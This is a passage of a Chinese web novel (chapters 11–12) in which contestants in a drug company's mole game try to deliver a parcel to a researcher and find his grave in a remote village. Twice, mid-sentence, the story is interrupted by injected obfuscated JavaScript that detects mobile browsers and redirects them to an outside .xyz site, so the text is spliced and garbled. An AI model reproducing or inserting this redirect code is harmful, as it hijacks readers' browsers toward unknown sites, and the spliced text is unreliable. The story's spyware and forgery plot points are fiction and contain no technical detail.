“既然是暗杀,那就说明千指门并不希望卡尔德曼知道这件事是他们干的。”杰西卡:“第一次暗杀你,卡尔德曼猜不到凶手是谁;可现在你杀了马威克,如果他们暗杀你第二次,那卡尔德曼就一定会知道是千指门干的。千指门不敢和卡尔德曼闹翻,所以他们不仅不会暗杀你,反而希望你活着。” 王嘉华不知道说什么,表情很纠结,他从未想过招惹任何人。 此时,雷雨交加,游轮的甲板上只有王嘉华和杰西卡两人。这是王嘉华一直在等待的机会。 “回船舱里去吧,”杰西卡站起身:“马威克的遗体今晚我会处理好的。”说着,杰西卡一边拿起手机拨打电话,一边准备往回走。 王嘉华依旧站在原地。杰西卡走到王嘉华的身后,王嘉华突然转身,面相杰西卡,双腿弯下,身体跪趴在地上。 杰西卡停下了步伐,侧着头,透过伞边的雨帘看向王嘉华。 雨越下越猛,雷声也越来越多。 “杰西卡!”王嘉华低着头,大声喊到:“我不要赚钱,我不要翻倍奖励,我只要想要一份能治疗黑山羊症的解药。求你把‘方程式’给我!” 这个世界上,只有南顿制药所拥有能治疗艾雅琳的解药;而王嘉华能接触到的所有人中,杰西卡是最接近这个解药的人。 “你求错人了,嘉华。”杰西卡冷漠地说:“你应该求的人是卡尔德曼。” 王嘉华依旧跪趴在地上。 “让他给你钱,让他赢得这场比赛,一切的选择权都在他的手上。除此之外,没有任何人能完成这件事,包括我,也包括你自己。”说完,杰西卡走进了船舱。 大雨中,王嘉华的身体慢慢蜷缩在一起。 …… “近乎疯狂的笑声在漆黑的走廊中回荡。一个穿深棕色鞣制皮革衣,披着白色绒毛披肩的人从黑暗中走了出来,他右手掂着一把粗制的手枪,腰间挎着一个腰包,脸上带着一张长着尖牙的狼嘴面具,疏松的长毛从头顶披下,看起来就像一只野兽。”——摘自《鬼人画像》。 12. 第十一章 第十一章·物归原主1 11月3日,入职第三天,早上8点。大雨过后,天气依旧阴沉。 平等号的会议室,所有人如期围坐在圆桌边。 “下面公布昨日的工作报告。”疲惫的杰西卡,黑眼圈很重,语气和天气一样阴沉。 「委托部工作报告·第二天」 任务完成情况:成功完成。 详细工作报告: 上午11点,在普林斯顿小教堂举行的拍卖会上,油画《洲春月·上旬》被桑蒙先生以14万元的价格拍下。 中午,桑蒙先生将该画卖给了温女士。 下午2点,《洲春月·中旬》被温女士以100万元的高价拍下。同时,陈双赢找到了桑蒙先生,通过交谈获得了第三幅油画《洲春月·下旬》的内容,并发现这幅画存在“吊桥错位”的问题。 下午4点,王嘉华在拍卖会现场提出第三幅画为赝品的质疑,内鬼那苏百试图反驳,但王嘉华指出了“吊桥错位”的问题后,获得了全场的认可。最后,第三幅画《洲春月·下旬》因被误认为赝品,以1万元的低价被王嘉华拍下,成功完成了任务。 当前余额排名: 第一名·那苏百·努旺比; 第二名·陈双赢; 第三名·凯文; 第四名·佘孔渝; 第五名·丹·汉克斯; 第六名·王嘉华。 “至少和第一天对比,工作汇报里的我终于干了点有用的事情了。”王嘉华舒了口气,感觉还不错:“希望卡尔德曼能看到吧。” 今天,王嘉华银行卡里的余额依旧是0元。 “开始抽身份吧。”照旧,杰西卡将六封不同颜色的信摊开在桌上。 …… “你今天的身份是普通员工。” “好吧。”正当王嘉华站起身,准备将信封和身份卡扔进火炉里时,他突然注意到火炉里残留的卡片上写着“内鬼”两个字! 王嘉华愣了一下,仔细看去,那个信封的颜色似乎是黄色的。 很快,“内鬼”两个字在火焰中消失了。 王嘉华仔细回想着刚刚抽取身份卡片的时候,拿走黄色信封的人是丹。 王嘉华不敢有太大的动作,他侧头瞄了一眼丹——他若无其事地坐回了自己的位子,习惯性地开始磨指甲盖。 丹也注意到了王嘉华的目光,他抬起头傻笑地看着王嘉华,又露出了他那排缺了颗门牙的牙齿,看起来丑陋得出奇。 “那接下来公布今天的任务了。”看到所有人回到了自己的座位上,杰西卡打开了身后的大屏幕。 屏幕上: 「任务公告·第三天」 委托人:南顿制药所的物资部部长,兼委托部临时组长,杰西卡。 委托内容: 失踪了一年的穆沙·哈吉是杰西卡的老朋友。杰西卡前几天得知了穆沙的消息,想要将穆沙的一件物品归还于他。 你们今天的公共任务,就是作为快递员,将杰西卡委托的货件送往穆沙的手中,并将穆沙·哈吉签字的签收单带回游轮交给杰西卡。 据可靠消息,穆沙的家在廖厝村。 那苏百:“原来是送快递啊。” 佘孔渝:“今天的委托人是杰西卡小姐你本人吗?” “没错。”杰西卡说着,将一个快递盒放在了桌上:“这就是你们今天要送的货件。” 所有人看着桌上的快递盒——方形的盒子并不大,不知道里面是什么。盒子正面贴了一张签收单,上面的收货地址是廖厝村,收件人是穆沙·哈吉。 “廖厝村位于新加坡北边的柔佛山上,位置比较偏僻,今天要劳烦各位出一趟远门了。”杰西卡打了个哈欠:“我得回去补个觉了。”说完,杰西卡就离开了会议室。 “呵,这么小的盒子,里面到底是什么呀?”丹嬉笑着掂了掂盒子,看起来非常的轻。 陈双赢:“提醒你,擅自拆开别人的快递是违法的。” 丹:“我没说我要拆开哦。” 在执行任务的时候做了违法的事,一旦被发现,就会立即被南顿公司开除,取消比赛资格。 凯文也拿了过来,仔细翻看着盒子说:“你们看,这上面还有一行备注。” 所有人看到,签收单上的备注只写了一句话——“是物归原主的时候了。” 王嘉华:“看样子是杰西卡写给这个收件人的备注。” “穆沙·哈吉。”佘孔渝:“看来我必须得先找到这个人。” “计程车已经喊到了。”那苏百站起身:“出发吧。” …… 杰西卡的房间。南顿制药所的所长——李远,正穿着西装,端坐在杰西卡的转椅上,背对着杰西卡。 李远:“突然造访你,会不会反感我?” “无所谓,”杰西卡进房后,疲惫地关上了门,从冷冻柜里拿出了一盒鱿鱼罐头,放进了微波炉:“反正我的一言一行都被你监视着,在你面前我本来就没有隐私可言。” 李远微笑着,椅子转了过来:“不要说得我好像在欺负你嘛。” 杰西卡:“当然,这是我自己的选择。” 通过南顿制药所的全局监控系统,杰西卡做的每一件事都会被李远看到。杰西卡知道,如果她不同意李远的监视,就不可能坐到现在的职位。 不过李远仍然看得出来,杰西卡并不喜欢这种一直被盯梢的感觉,她在用沉默的方式表达着自己的不满。 李远:“‘方程式’的配方是我们制药所最重要的机密,所有高层都参与了全局监控系统,毕竟我真的不希望有人把这个配方泄露给我们的竞争对手。” 杰西卡:“你查到了吗,我们的竞争对手?” 李远摇摇头:“我一开始怀疑是汤旗,但后来发现卡尔德曼似乎并不太在意竞标游戏的事。” 所长李远曾打听到情报,有其他的公司也在偷偷研究治疗黑山羊症的药,但不知道是谁。 杰西卡:“如果那个公司参与了竞标游戏,那他们的目的就不单纯了。” “是啊,”李远:“如果竞争对手获得最终胜利,拿走了‘方程式’的独家销售权,那后果将不堪设想。” 李远心里很清楚,如果南顿的竞争对手拿到了‘方程式’的独家销售权,那么在5年的授权期限内,这个竞争对手根本不会做任何宣传和销售,而是继续研发自己的特效药。 竞争对手的最终目的,就是延缓‘方程式’进入市场的时间,并用自己研发的特效药抢先占领国际市场,独吞利润。 杰西卡:“需要我帮你查吗?” “不用,”李远摆了摆手:“你专心比赛的事情。我相信比赛结束前,那个竞争对手会自己出现在我面前。” 微波炉的时间到了,杰西卡打开了臭味熏天的鱿鱼罐头,用叉子插了一小块送进嘴里。 李远:“对了,今天是比赛的第几天?” 杰西卡:“今天是第三天。” 李远:“还剩几个员工?” 杰西卡:“6个。” 李远:“啊?一个都没死?难道还没出现猎杀环节吗?” “放心吧所长,已经有人按耐不住了。”杰西卡:“我敢肯定,第一个猎杀之夜就在今晚出现。” …… 上午10点,所有人来到了柔佛山的山脚,天气依旧阴沉。远离了大都市,风景也发生了很多变化。 柔佛山并不高,但上山的道路汽车无法行驶,只能徒步上去;山脚下是一个小镇子,大家在镇子上租了一间旅馆,并旅馆中歇息,商量着对策。 “很明显,我们得分头行动了。”那苏百坐在沙发上对所有人说:“我跟附近的镇民打听过了,廖厝村有将近100户人家,他们全都住在山上,六个人一起行动太浪费时间了。” 快递盒被放在了旅馆房间的小桌子上。 佘孔渝:“可如果分开行动,那这个快递盒怎么办?” 所有人都想到了,今天任务的关键道具就是这个快递盒。如果快递盒被内鬼拿走了,那就等于任务失败了,因为内鬼是绝对不会把快递盒交出来的。 那苏百思考着:“上山的话,可能就不太会有精力保护好盒子了。我们必须把盒子留在旅馆,安排三个人保护。” 佘孔渝:“啊?为什么要安排这么多人?” 那苏百严肃地说:“如果只有两个人,而其中一个是内鬼,内鬼很容易就能偷走盒子吧。” “我觉得律师说的有道理。”凯文:“另外三个人就上山分头寻找收件人。这样不管内鬼是谁,都不太会影响任务的进程。” 众人都同意了这个方案。 陈双赢:“那,安排哪三个人来守盒子,哪三个人上山呢?” 大家看着彼此。 “那我留下来看守吧,”佘孔渝:“我不太想爬山诶。” 那苏百:“那就佘孔渝、凯文和王嘉华留下来看守,我、丹和陈双赢上山找人,你们觉得怎么样?” 丹:“我觉得没问题啊。” 王嘉华内心思索着:“如果内鬼上山先找到了收件人,那么内鬼一定会把收件人骗去其他地方离开这座山,这样我们就永远找不到收件人了……不行,不能让内鬼上山。” 陈双赢:“我也没问题。” 凯文:“也行。” “等下!”王嘉华突然站起来,看着丹:“我和丹换一下吧。” 丹又诡异地笑了笑。 …… 安排好了每个人的岗位。 旅馆中,丹、凯文和佘孔渝三人坐在不同的角落,与房间中央的快递盒保持着相同的距离。 王嘉华、那苏百和陈双赢沿着山路朝山林中走去。 沿着山路往上走,周围出现了淡淡的雾气。很快,一个驿站出现在三人的面前。那苏百率先走了上去,一个戴着鸭舌帽、皮肤深黑的快递员正拿着笔和本子,站在货物架旁记录快件信息。 “请问一下,”那苏百走到了正在拣货的快递员面前:“这里有没有一个叫穆沙·哈吉的人?” 王嘉华和陈双赢也走了过来。 快递员摇了摇头:“我没听说过这个名字。” 陈双赢紧盯着快递员的脸,皱紧了眉头。 “奇怪了……”那苏百困惑着。 王嘉华走上前,看着快递员:“请问你在这里做工多久了?这个驿站还有别人吗?” 快递员:“我就是这里的村民,我从小到大都在这里,这个驿站就我一个人。你们又是什么人?” 陈双赢:“穆沙·哈吉是我们的朋友,听说他最近生病了,所以就一起过来看看。” 再次看了看眼前的三个人,快递员突然停顿了一下,然后看了看天空:“现在是什么时候了?” “现在是……”陈双赢看了看手机:“上午11点。” 快递员没有说话,继续着拣货的工作。 “嗨呀,算了,”王嘉华:“我们还是自己去找吧。” “有个没有名字的男人,”三人刚准备继续往前走,快递员一边记录着信息,突然放下了一句话:“村子里有人见过他,你们可以去问问。” 那苏百:“没有名字的男人?” 陈双赢:“谢谢提醒!” …… 中午12点,三人终于来到了廖厝村。雾气越来越浓,村子里没有行人,街道和房屋都很破旧,每个房屋中都有人说话和油烟的动静。 那苏百:“看来是因为雾太大,村民们都待在家里了。” 陈双赢注意到,每个房屋不仅大门紧锁,而且窗帘都被拉上了。 “这地方感觉有点吓人……”王嘉华颤颤巍巍地跟着两个人走着,四处张望。 “穆沙·哈吉……关于这个收件人,我们唯一知道的就是他的名字。”那苏百:“还是得分开去问村里的人。” 陈双赢斜着眼睛看着王嘉华,面无表情:“王嘉华,你这个样子能单独行动吗?” 王嘉华:“呃,当然可以。” 陈双赢指着前方的十字路口:“那我们就分三路一起去找吧。” 那苏百:“行。” 王嘉华:“呃,好。” 三人朝着不同的路开始调查。 …… 一栋矮小的房屋门口。 刚敲响一栋房屋的木门,王嘉华就后悔了:“我最怕敲陌生人家的门了,而且还是在这么奇怪的小村庄里……” “爬山累得要死也不给一点休息的机会,什么都没做还要不停承受陈双赢鄙视地眼神……都怪我今天看到了丹没烧完的身份卡。” “其实就算知道了丹是内鬼也没关系啊,我根本可以让凯文来嘛!真羡慕凯文他们可以坐在旅馆里看电视。” “请问你是?”王嘉华还没啰嗦完,一个小女孩突然把木门打开了一个小缝。 王嘉华紧张了一下:“小朋友你好,我是外地来找朋友的,请问你有听说过穆沙·哈吉这个人吗?” 小女孩摇了摇头。 “好吧……”透露小缝,王嘉华仔细观察了一下小女孩,感到了有些奇怪的地方,但又说不上来。 屋内看起来很黑。妈妈的声音从厨房里传来:“是谁啊?” 小女孩对着屋内回应:“是外地来的。” 妈妈也走了过来,透过细小的门缝看着王嘉华:“请问你找谁?” 王嘉华注意到,妈妈和小女孩的眼睛都眯得很细,似乎在躲着什么。 王嘉华:“啊,你好!我是外地来找朋友的,他叫穆沙·哈吉,他说他住在这个村子里。” 妈妈:“村子里的人大家都认识,但没有听说过这个人诶。” 王嘉华:“啊那不好意思,打扰了。” “没关系。”妈妈刚准备关上门,王嘉华突然又开口:“那请问……这个村子里是不是有个没有名字的男人?” “那倒是有,但是……”妈妈:“他总是神出鬼没的,我们也不知道他住在哪。” 王嘉华:“这么神秘?” 妈妈回忆着说:“那是个披头散发的男人,一年前出现在村子里。” 王嘉华:“一年前?” 妈妈:“是的。他没有朋友,偶尔会来公共食堂吃饭;他总是穿着白色的衣服,低着头,从来不跟人打招呼,有人跟他搭话也没有回应,问不出名字。” “难道这个无名的男人就是穆沙·哈吉?”王嘉华摸着下巴思索着。 …… 另一边,正在村中寻找收件人的陈双赢,接到了来自拜肯·卡拉梅尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780705|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的电话。 拜肯:“你听说了吗?David死了。” 陈双赢:“David?” 拜肯:“就是你的那个训练班的同班同学。” 拜肯·卡拉梅尔,50岁,男,能基集团董事长,陈双赢的雇主,同时也是新训班的老大。 陈双赢:“啊,你是说马威克?那个每次排名都排最中间的人?他怎么死的?” 拜肯:“他被人杀了,尸体是在平等号附近的码头被发现的,我也不知道凶手是谁。” 陈双赢:“平等号……很有可能与这场比赛有关。” 拜肯:“连马威克都打不赢的对手,我觉得很可能就是翻倍协议的某个员工。陈双赢,这场游戏里有高手,你一定要小心点啊!” 陈双赢:“我?” 拜肯:“你要保护好自己!你知道的,我是把你当我女儿一样心疼!” 陈双赢有点不耐烦:“我知道了。” 拜肯:“对了,艾雅琳那边怎么样?” 陈双赢:“那边已经基本没问题了。病毒原液应该3天内就能抽取完。” 拜肯:“她的底细你查清了吗?” 陈双赢:“放心吧,我第一天见她就偷偷在她的手机里安装了‘黑隼’,她接收和发出的任何信息和声音我都能在我的手机上看到。” 黑隼,陈双赢自制的抓包芯片,安装在手机上时能实时获取手机接受和发出的任何信息,并同步传输到陈双赢的手机中。 入职南顿的第一天,陈双赢就已经找到了艾雅琳,为了获取她的信任,两人交换了手机互相查看,而陈双赢则趁机在艾雅琳的手机中安装了黑隼。 陈双赢:“而且我跟她聊过了,她是个干净的人。” 拥有谎言分析的能力,外加黑隼的辅助,陈双赢根本不需要去探查艾雅琳的资料。 拜肯:“那就……好……”因为信号不稳定,声音突然断断续续。 陈双赢:“我现在在柔佛山这里做任务,信号不太好,先不说了。” 拜肯:“……好你……注意安……” 陈双赢嫌弃地挂断了通话。 对陈双赢来说,曾经救过她生命的拜肯就像她的父亲一样;但同时陈双赢也知道,拜肯并不像他说的那样把她当女儿对待。 陈双赢是一个过于聪明的人,这样的人往往得不到任何人的信任,哪怕是最亲近的人。 …… 旅馆中,三个人安分地坐在各自的座位上。 丹:“我要上厕所!”说着,丹突然站起来,朝着门口走去。 “不行!”佘孔渝慌张地说。 丹:“啊?上厕所都不行?” “你……你要是走了,万一凯文……”佘孔渝看了看凯文,又看了看桌上的快递盒。 很明显,如果发生争夺,佘孔渝肯定抢不赢凯文。 玩着手机游戏的凯文突然抬起头,无辜地说:“我又不会做什么,我不是内鬼。” 佘孔渝:“那你和他一起去上厕所。” “那肯定不行,”凯文看着佘孔渝:“如果内鬼是你怎么办?” “OK!那我再憋一会。”丹坐了下来,拿出手机开始对一个没有备注的号码发送消息。 …… 时间过得很快。下午2点。廖厝村。 挨家挨户地打听好像并没有太多的收获,那苏百和陈双赢回到了十字路口。 那苏百:“既没有找到穆沙,也没有找到那个无名人。” “我这边也是。”陈双赢:“我甚至报出了杰西卡的名字,但也没有人听说过。而且……我感觉这个村子有点怪。” “的确,”那苏百:“大白天所有人都关在家里,而且窗帘都拉得很紧……感觉他们在躲避什么?” 三人都察觉到了异样。 那苏百:“不过关于那个无名人的事似乎大家都知道。” 陈双赢:“有人知道无名人住在哪吗?” “目前还没打听到。”那苏百:“杰西卡说,穆沙是她的老朋友,而且穆沙这个人之前失踪了一年,是最近几天才听到了他的消息……有没有可能,穆沙以前住在廖厝村,失踪后就不在这里了呢?” “应该不会。”陈双赢:“廖厝村的村民都是土著,他们不管男女老少,从小都在这里长大,如果穆沙以前真的在廖厝村住过,就不可能没人认识这个人。” 通过谎言分析,陈双赢能够判断出村民们说的话都是真的。 这时,王嘉华气喘吁吁地跑了过来:“我打听到了!” 陈双赢:“你打听到什么了?” 王嘉华喘着气说:“那个无名人的行踪!” 陈双赢和那苏百惊讶地看着王嘉华。 王嘉华:“你们跟我来!” …… 很快,三人来到了一片树林的面前。王嘉华指着山林说:“根据村民们说的,他们曾经有一次见到过,那个无名人往这片树林里走了。” “这片树林?”那苏百疑惑地观察着眼前的树林:“但是这里根本就没有路啊?” 浓雾中,眼前的树林阴森黑暗,不像是有人的样子。 “所以我才来找你们啊。”不知不觉,王嘉华站在了两人的身后。 陈双赢看了看手机上的时间:“看来只能进去了。” 王嘉华:“我可以不进去吗?” 那苏百:“不可以。” …… 树林中很安静,除了三人踩在落叶上的脚步,没有其他任何声音。虽然是白天,但繁密的树叶遮住了本就阴沉的天空,三人打开了手机灯光才能看清脚下的泥土和枯叶。 王嘉华胆怯地问:“这……这里真的有人会来吗?” 陈双赢:“的确,这里看起来住的不像是人。” 那苏百:“你别吓唬他了。” 很快,三人终于在一片空旷的地方看到了一个破旧的小木屋。 王嘉华惊呆了:“真的有人住这里?” 与其说破旧,不如说已经近乎废弃。木屋旁有一圈篱笆,但似乎已经很久没有人打理了。 陈双赢:“不过目前看来,基本能确定,那个无名人就是穆沙了。” “是啊,”那苏百:“一个人住在这么偏僻的地方,难怪打听他的消息这么难。不过杰西卡真的会和住在这里的人是老朋友吗?” 虽然不知道木屋里有没有人,但王嘉华有种不好的预感。 “你们去敲门吧,我就不去了。”王嘉华搓了搓手臂,找了个石头堆坐了下来,远远地看着另外两人。 陈双赢和那苏百打开篱笆,走到了小木屋前,却发现木屋的木门并没有锁。陈双赢小心地推开木门,发现小小的屋子里全是灰尘和蜘蛛网,没有人。 “奇怪……”那苏百:“这么看,好像这整片空地都已经很久没有人来过的样子。” “床、桌子、椅子……”陈双赢用手指抹了抹桌子上的灰尘:“这积灰应该也有一年了吧。” “啊!”一声惊叫从门外传来,陈双赢和那苏百立刻出门看去——王嘉华惊恐地瘫坐在地上,指着他刚刚落脚的那个石头堆。 那苏百:“发生什么事了?” 两人跑过去,看到了石堆中插着一个墓碑,上面写的是:穆沙·哈吉之墓。 13. 第十二章 第十二章·物归原主2 陈双赢和那苏百震惊地看着墓碑上的字: 穆沙·哈吉之墓,2024年11月立。 那苏百:“这是怎么回事?” 陈双赢:“我们要找的收件人已经死了一年了?” “不……不对……”坐在地上的王嘉华绝望地看着眼前的坟墓,发出颤抖的声音:“如果他已经死了一年了,那村民们之前看到的那个又是什么?” 披头散发、穿着白衣的男人的样子突然出现在王嘉华的脑中。王嘉华似乎能看到那个男人在村间的路上行走、坐在公共食堂的样子。 那绝对不是人! “我受不了啦!”想到这里,王嘉华突然疯狂嚎叫起来:“我要下山!” 王嘉华立刻站起身,一边吼叫着一边沿着原路往回跑,很快就消失在两人的面前。 那苏百看着王嘉华落荒而逃的背影:“他至于这样吗?” “配角是这样的,别管他了。”陈双赢说着,仔细查看着眼前的这个墓碑:“根据这个墓碑和周围石块的老化程度,看起来的确是一年前立的,和碑文的描述吻合。” “穆沙·哈吉已经死了。”那苏百:“那现在该怎么办?” 收件人已经死了,也就不可能有人签收快递盒了。 陈双赢站在原地思考了一会,说:“你觉得这个墓碑是真的吗?” 那苏百:“我也在怀疑,但……怎么确定它是不是真的呢?” “简单啊,”陈双赢不怀好意地说:“你把下面挖开,看有没有尸骨或骨灰。” “陈双赢,”那苏百看破了陈双赢的心思:“挖别人坟墓是违法的,你以为我不知道吗?还是说你想看着我挖坟,然后向杰西卡揭发我?” 两人都不会为了验证墓碑的真实性而挖坟。 陈双赢:“那你有什么办法?” 那苏百:“我在想一个问题。” 陈双赢:“什么问题。” 那苏百:“村民们没人知道穆沙住在这里,那这个墓碑又是谁立的呢?总不会是穆沙死前给自己立的吧。” 陈双赢:“你说的没错。如果这个坟墓是真的,那么一定至少有另一个人知道这个住所的存在。” 那苏百:“可那会是谁呢?” “你仔细想想,”陈双赢:“穆沙生前一定是在这里住过一段时间,只是偶尔去进村,那么他平时饮食如何解决?” 那苏百:“对啊,这个木屋附近也没有耕地和水。” 陈双赢:“所以整个村子中,最有可能知道他住在这里的人是谁?” 那苏百思考了一会:“是……那个快递员?” 陈双赢:“驿站的那个快递员,他刚刚说没听过穆沙·哈吉的名字,明显是说谎了。” 在第一次和快递员交谈的时候,陈双赢就已经通过谎言分析判断出他在说谎。 “还有,”陈双赢:“如果穆沙真的已经死的,那么现在想要完成今天的任务,只有一个办法。” 那苏百:“你的意思是……伪造签名?” 陈双赢:“如果驿站的快递员曾经给穆沙送过货件,那么驿站的仓库里一定有穆沙生前的签收单。” “对呀!”那苏百恍然大悟:“只要找到穆沙曾经的签收单,就能知道他的签名是什么样的!可……这样真的能骗过杰西卡吗?” 陈双赢:“不然你还有别的办法吗?” 目标似乎已经明确了。 那苏百:“行,那我们赶紧回驿站去找那个快递员吧。” “你先去吧,”陈双赢又环顾了一下四周:“我想留在这再找找关于穆沙的线索。” 那苏百:“你还在怀疑这个墓碑是假的吗?” 陈双赢:“事不宜迟,我们分头行动吧。” “好,那我们手机联系。”说完,那苏百就朝着回村的方向走去,离开了陈双赢。 确认了那苏百已经走远,陈双赢站在原地,突然望向了树林间的那个人影,眼神尖锐充满敌意。 似乎察觉到了陈双赢的眼神,躲在树后的人影开始慢慢退后,准备溜走。 “你跑不掉的。”陈双赢飞步追了上去,朝着树林的更深处。 …… 下午3点。廖厝村十字路口。 王嘉华终于跑累了,他大喘着气,一手撑着膝盖,一手扶着路边的电线杆。他看了看周围,雾气依旧浓密,路上一个行人都没有。 “这个村子到底是怎么回事?”王嘉华既害怕,又困惑。 这时,一辆自行车在王嘉华身旁停了下来。 “又是你?”骑着自行车的快递员眯着眼看着王嘉华,看起来心事很重的样子。 “你是驿站那个快递员!”王嘉华兴奋地看着快递员:“太好了,终于有个正常人了!” 看到气喘吁吁的王嘉华,快递员递了一瓶矿泉水给他。 “谢谢你!”王嘉华揭开瓶盖一口就喝光了。 “你看到那个墓碑了吧。”快递员语气很平静,就像早就预料到了一样。 王嘉华惊讶地看着快递员:“你知道那个墓碑?” 快递员抬头看着天空。 王嘉华急切地问:“请问你知道什么吗?关于穆沙·哈吉的事情?” “现在是什么时候了?”快递员看着天空问道。 “现在是……”王嘉华看了看手机:“下午3点了。” “时间不早了,”快递员叹了口气:“去驿站聊吧。” …… 山脚下的旅馆中。 “我实在憋不住了。”丹又站了起来:“我要去上厕所!” 佘孔渝和凯文两人互相看了看。 凯文:“这样吧,我陪你去,正好我也想上厕所。” “哦?”丹看了看佘孔渝:“让她一个人看守这个快递盒,你不怕这个女人是内鬼吗?” 凯文:“这个简单。” 凯文将快递盒拿起来,走到了床头柜的旁边蹲了下来,打开了床头柜里的保险箱:“丹,你过来。” 丹也走到了保险箱前。凯文将快递盒放进了保险箱中,说:“我们两个人一起设定保险箱的密码,这样既可以防止佘孔渝偷走快递盒,我们两人也不用担心彼此。” 丹:“好主意啊!对其他人来说,我们两人都知道保险箱的密码,就算内鬼出在我们两人中,也不用担心保险箱打不开。” 两人都看着佘孔渝,佘孔渝:“好吧,那就按你说的来吧。” …… 树林中。天色已经开始变黑。 正在追赶不明身影的陈双赢突然停在了原地,周围的雾气越来越浓厚,她意识到自己已经陷入了一个用树木围成的迷宫。而不明身影也早已不知去向了。 陈双赢打开手机,发现没有一丝一毫的信号。 …… 山上,廖厝村的驿站门口。王嘉华和快递员刚进门,那苏百也从山上跑了过来。 那苏百:“你们在这呢。” “你也下来了!”王嘉华看着那苏百:“双赢呢?” 那苏百:“她还在树林里呢,她说她要再调查一下。” 这种时候,王嘉华都会很羡慕胆子大的人。 快递员:“既然来了,那就都进来吧。” 三人一起进入了驿站。 快递员给自己倒了杯水,坐在了茶几的对面:“我本来想隐瞒这件事,但既然你们是穆沙的朋友,那我就把他的事情,以及这个村子的秘密告诉你们吧。” 快递员的目光一直看着地板。 王嘉华:“村子的秘密?” 快递员看着两人:“你们应该也看出来村子里的古怪了吧。” 王嘉华回想起来,即便是大白天,村子里的人也根本不出门,而且窗帘和房门都紧闭,似乎都在躲着什么。 那苏百:“那些村民们到底在害怕什么?” 快递员:“他们害怕光。” 那苏百:“光?” 快递员:“任何光,包括阳光、灯光。要不是因为今天是阴天,他们连门缝都不会打开。” 王嘉华每次敲门,都只能从门缝中看到房间里的人。 快递员:“害怕光是因为他们都感染了一种病。” “黑山羊症!”王嘉华突然想到,患有黑山羊症的艾雅琳也有同样的症状。 “是的,”快递员:“黑山羊症患者会有畏光的症状。” “难道这些村民全都……”王嘉华惊恐地看着快递员。 快递员:“但是他们如今全都已经被治愈了,那是2年前的事了。” 王嘉华再次受到冲击:“全都被治愈了?这怎么可能?” 那苏百也感到疑惑:“我记得黑山羊症目前还是绝症吧。” 全世界唯一能治愈黑山羊症的解药‘方程式’明明还没上市,况且2年前的南顿根本就还没有研发出‘方程式’。 快递员慢慢向两人说着2年的事。 “这一切都是穆沙·哈吉的功劳。”快递员:“穆沙是南顿研究所的一个研究员。2年前的一天,廖厝村的村民因为食物污染,几乎全部感染了黑山羊病毒。当时的我因为在外地,没有感染黑山羊病毒。穆沙听闻了这件事,来到了村子,将还在研发过程中的药物交给了我。为了拯救村民们,我答应了他,把这个半成品的药物给每个村民服用了。” 王嘉华和那苏百仔细地听着。 “因为药物的研发是极为保密的,所以穆沙并没有在村民面前露面;为了掌握药物的效果,穆沙在树林里搭建了一个小木屋,每天偷偷在暗中观察着村民,将村民们的身体状况记录下来。而我则作为快递员,每天偷偷给穆沙运送他需要的食物和货物。村民们至始至终并不知道穆沙这个人的存在,毕竟他们白天是不会出门的。” 王嘉华:“所以,这整个村子都是南顿研发‘方程式’的实验对象?” 快递员:“虽然是半成品,但药效却是真实的。不到1个月,村民们的瞳孔恢复了正常,身体中的黑山羊病毒也全部消失了,但畏光的症状却更加严重了。” 那苏百:“这是后遗症。” “嗯。”快递员:“所以村民们才会变成现在这样,白天不出门,夜晚也不开灯。” 那苏百:“那穆沙真的死了吗?” 快递员点了点头:“他不知为什么,得罪了千指门,在1年前被千指门的杀手暗杀了。” 王嘉华:“又是千指门……” “我亲眼看到了他的尸体。你们看到的那个墓碑,就是1年前我给穆沙立的。”说着,快递员站了起来,打开了百叶窗,看着窗外。 …… 旅馆中。 关上保险箱后,凯文和丹一同离开了房间。 很快,佘孔渝收到了凯文发来的消息:“391。”佘孔渝立刻打开了保险箱,将快递盒拿了出来,随后走到房间的门前,确认了走廊上没有丹的身影,便抱着快递盒,朝着一楼的女澡堂快步走去。 女澡堂的更衣室。 更衣室里没有人,抱着快递盒的佘孔渝来到了储物柜前,随便找了一个柜子,将快递盒放了进去。 “哎呀!”还没关上柜子的门,丹的声音突然从更衣室门口的方向传来。 佘孔渝惊恐地朝后看去——更衣室的门口,丹慢慢扶起了倒下的警示牌,傻笑地看着她:“刚刚不小心把维修告示的牌子踢倒了,真是不好意思呀。” …… 驿站中。 “奇怪……”王嘉华一直在思索着:“1年前失踪,这倒和杰西卡的描述吻合;可杰西卡给我们的任务,却是说她几天前发现穆沙还活着的消息。杰西卡既然让我们送快递给穆沙,那一定是得知了某种信息……某种能证明穆沙还活着的信息。” 那苏百突然站起来,对快递员说:“既然穆沙曾经住在这里,那想必他一定有签收过快递吧。” 快递员依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780706|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧看着窗外:“你想问什么?” 那苏百:“我想请问一下,驿站的仓库里有没有存留穆沙以前签过字的签收单?” 只要找到签收单,就能找到穆沙的亲笔签名。 “喂!”王嘉华小声地拉扯着那苏百:“你想伪造穆沙的签名?这能骗过杰西卡吗?” 那苏百也小声地说:“我也觉得不太行,但……现在也没有别的办法了吧!” 收件人已经死了,想要获得收件人签字的快递单,伪造收件人的签名似乎是唯一的办法。 “你可以找找,”快递员:“但应该都已经没了。” 那苏百:“没了?为什么?” 快递员:“穆沙是南顿的员工,他参与了机密药物的研发,南顿是不会把和机密相关的信息留在我这的。” 